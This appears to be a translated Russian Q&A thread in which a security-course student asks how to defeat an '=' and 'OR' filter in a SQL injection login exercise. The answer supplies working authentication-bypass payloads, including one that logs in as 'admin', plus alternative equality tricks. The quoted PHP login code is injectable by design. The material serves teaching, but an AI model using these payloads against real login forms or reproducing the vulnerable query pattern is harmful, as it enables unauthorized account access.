SQL-инъекция с php-фильтрацией

Я должен ввести форму входа для упражнения по курсу компьютерной безопасности … Я прошел первый уровень, используя простой

' like 1=1-- 

в поле пароля, но теперь на втором уровне мне нужно снова ввести ту же форму входа с тем же исходным кодом, за исключением того, что пользователь и pwd управляются функцией lvl2_filter (), которая, по моему мнению, является частью фильтров .php и не принимать «=» и «ИЛИ»,

Как мне это сделать ???

поле имени пользователя и пароля не может быть пустым

 include_once 'filters.php'; include_once 'config.php'; ?> <?php $user = lvl2_filter($_REQUEST['user']); $pwd = lvl2_filter($_REQUEST['pwd']); $token = $_COOKIE["token_sqli2"]; if (empty($token) || !check_token($token)){ echo "<h1>You need to be logged in!</h1><br>"; } if (!empty($user) && !empty($pwd)) { $query = "SELECT user_id FROM users WHERE username='$user' and password='$pwd'"; $result = mysqli_query($db,$query); if ($result && mysqli_num_rows($result)>0) { echo "Hi $user, you are logged in."; verify_user($token, $user); } else echo "sorry, invalid username or password"; } else { ?> 

Предполагая это определение lvl2_filter , которое в основном удаляет любое вхождение = и or пока не будет найдено, все равно можно использовать логическую операцию ИЛИ с || вместо OR и простое выражение, которое вычисляется как true:

 username: dummy password: ' || '1 

Это приведет к:

 SELECT user_id FROM users WHERE username='dummy' and password='' || '1' 

Для выбора конкретного пользователя можно использовать правила булевой алгебры , где x=y = !(x!=y) :

 username: dummy password: ' || NOT(username<>'admin') AND '1 

Это приведет к:

 SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1' 

Здесь <> эквивалентно != Но не содержит a = .

Существуют и другие операции, которые можно использовать, чтобы гарантировать, что имя пользователя равно admin :

  • username BETWEEN 'admin' AND 'admin'
  • username LIKE 'admin'
  • username IN ('admin')
  • IF(STRCMP(username,'admin'), 0, 1)
  • CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END